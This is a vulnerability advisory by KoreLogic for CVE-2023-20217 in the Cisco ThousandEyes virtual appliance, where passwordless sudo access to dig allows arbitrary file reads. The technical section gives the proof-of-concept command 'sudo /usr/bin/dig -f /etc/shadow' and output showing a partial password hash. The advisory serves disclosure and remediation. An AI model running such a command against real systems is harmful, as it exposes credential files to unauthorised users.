KL-001-2023-001: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig

[KoreLogic Disclosures via Fulldisclosure <fulldisclosure () seclists org>]

KL-001-2023-001: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig

Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig
Advisory ID: KL-001-2023-001
Publication Date: 2023.08.17
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-001.txt


1. Vulnerability Details

     Affected Vendor: ThousandEyes
     Affected Product: ThousandEyes Enterprise Agent Virtual Appliance
     Affected Version: thousandeyes-va-64-18.04 0.218
     Platform: Linux / Ubuntu 18.04
     CWE Classification: CWE-1395: Dependency on Vulnerable
                         Third-Party Component,
                         CWE-1220: Insufficient Granularity of
                         Access Control
     CVE ID: CVE-2023-20217


2. Vulnerability Description

     An insecure sudo configuration permits a low-privilege user
     to read root-only files via the 'dig' command without a
     password.


3. Technical Description

     The ThousandEyes Virtual Appliance is distributed with a
     restrictive set of commands that can be executed via sudo,
     without having to provide the password for the 'thousandeyes'
     account. However, the ability to execute dig via sudo,
     allows for reading of arbitrary files using dig's "batch"
     mode. This mode allows a user to specify a file of requests,
     one per line. The dig command will read the file with elevated
     privileges and display the resulting queries (i.e. file
     contents) back to the user.

       thousandeyes@thousandeyes-va:~$ id
       uid=1000(thousandeyes) gid=1000(thousandeyes) 
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
       thousandeyes@thousandeyes-va:~$ sudo -l
       Matching Defaults entries for thousandeyes on thousandeyes-va:
           env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

       User thousandeyes may run the following commands on thousandeyes-va:
           (ALL : ALL) ALL
           (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, 
/bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
               te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start 
te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
               te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, 
/usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
               /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, 
/usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
               te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, 
/usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
           (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

     Here we see that dig is available as root with no password,
     and no restrictions on the arguments it can be passed.

       thousandeyes@thousandeyes-va:~$ sudo /usr/bin/dig -f /etc/shadow

       ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> root:!:19145:0:99999:7:::
       ;; global options: +cmd
       ;; Got answer:
       ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 40036
       ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

       ;; OPT PSEUDOSECTION:
       ; EDNS: version: 0, flags:; udp: 65494
       ;; QUESTION SECTION:
       ;root:!:19145:0:99999:7:::.    IN    A

       ;; Query time: 0 msec
       ;; SERVER: 127.0.0.53#53(127.0.0.53)
       ;; WHEN: Fri Mar 31 08:00:38 UTC 2023
       ;; MSG SIZE  rcvd: 54

       ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> daemon:!*:18885:0:99999:7:::
       ;; Got answer:
       ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 32743
       ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

       ;; OPT PSEUDOSECTION:
       ; EDNS: version: 0, flags:; udp: 65494
       ;; QUESTION SECTION:
       ;daemon:!*:18885:0:99999:7:::.    IN    A
       ...
;thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.Fb...
       ...


4. Mitigation and Remediation Recommendation

     The vendor has released a version which remediates the described
     vulnerability. Release notes are available at:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-va-priv-esc-PUdgrx8E


5. Credit

     This vulnerability was discovered by Jim Becher and Hank
     Leininger of KoreLogic, Inc.


6. Disclosure Timeline

     2023.04.26 - KoreLogic submits vulnerability details to Cisco.
     2023.04.26 - Cisco acknowledges receipt and the intention to
                  investigate.
     2023.05.04 - Cisco notifies KoreLogic that a remediation for this
                  vulnerability is expected to be available within
                  90 days.
     2023.06.30 - 45 business days have elapsed since KoreLogic reported
                  this vulnerability to the vendor.
     2023.07.11 - Cisco informs KoreLogic that the issue has been
                  remediated in the latest ThousandEyes Virtual
                  Appliance and a public advisory will be released
                  2023.08.16.
     2023.07.24 - 60 business days have elapsed since KoreLogic reported
                  this vulnerability to the vendor.
     2023.08.09 - Cisco provides KoreLogic with CVE-2023-20217 to
                  track this vulnerability.
     2023.08.16 - Cisco public acknowledgement.
     2023.08.17 - KoreLogic public disclosure.


7. Proof of Concept

     See 3. Technical Description.


The contents of this advisory are copyright(c) 2023
KoreLogic, Inc. and are licensed under a Creative Commons
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